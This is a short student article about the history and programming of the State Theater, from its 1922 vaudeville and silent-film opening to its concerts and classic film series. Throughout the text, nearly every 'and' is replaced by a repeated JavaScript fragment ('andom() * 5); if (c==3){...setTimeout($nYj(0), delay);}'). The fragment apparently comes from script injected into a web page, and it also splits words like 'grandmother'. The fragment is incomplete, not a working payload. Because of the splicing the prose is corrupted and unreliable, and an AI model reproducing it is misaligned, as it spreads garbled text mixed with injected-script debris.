The State Theater

By Sydney Green

On the thirtieth of October in 1922, the State Theater opened their doors for the very first time, showing silent films andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and presenting Vaudeville’s finest acts from the B.F. Keith Circuit. The theater had a $40,000 Pleubet Master organ to accompany the film andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fit its mood. Although big names flickered across this screen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and big titles drew full houses, the theaters time for being a movie palace was definitely  limited. Sadly, the State Theater closed in 1973. After 51 years, the theater reopened to host country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and western legends like Johnny Cash. But, once again, this failed to keep the theater open. In 1988, they opened the theater to host Broadway musicals, Big Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, symphonies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dance performances. The theater is also a place where many young, local people get their first exposure to the arts. The theater also rents out for dance recitals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and high school musicals.

Some upcoming performances at the State Theater includes,The Cast of “Beatlemania”, “Larry the Cable Guy” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Five” by Design’s Ultra Lounge. February 24 is when Larry the Cable Guy will be at the theater. I will be going with my parents, parents friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my boyfriend. In December, my mother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother went to see “Melissa Manchester” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they both agreed that she was phenomenal! Some other amazing shows I have seen at the State Theater were, “The Frankenstein Ballet”, “Grease”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many others.

In 2007, the theater stated offering a classic film series. One Friday night a month, the State Theater shows one of the greatest movies ever made. Some movies to come are, “The Good, The Bad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Ugly”, “The Heiress”, “Ferris Bueller’s Day Off”, “E.T.: The Extra- Terrestrial” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “American Graffiti”. There are two showings a day at 2 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and  7 P.M.. This would make a great night to go out with your parents or grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see a classic!
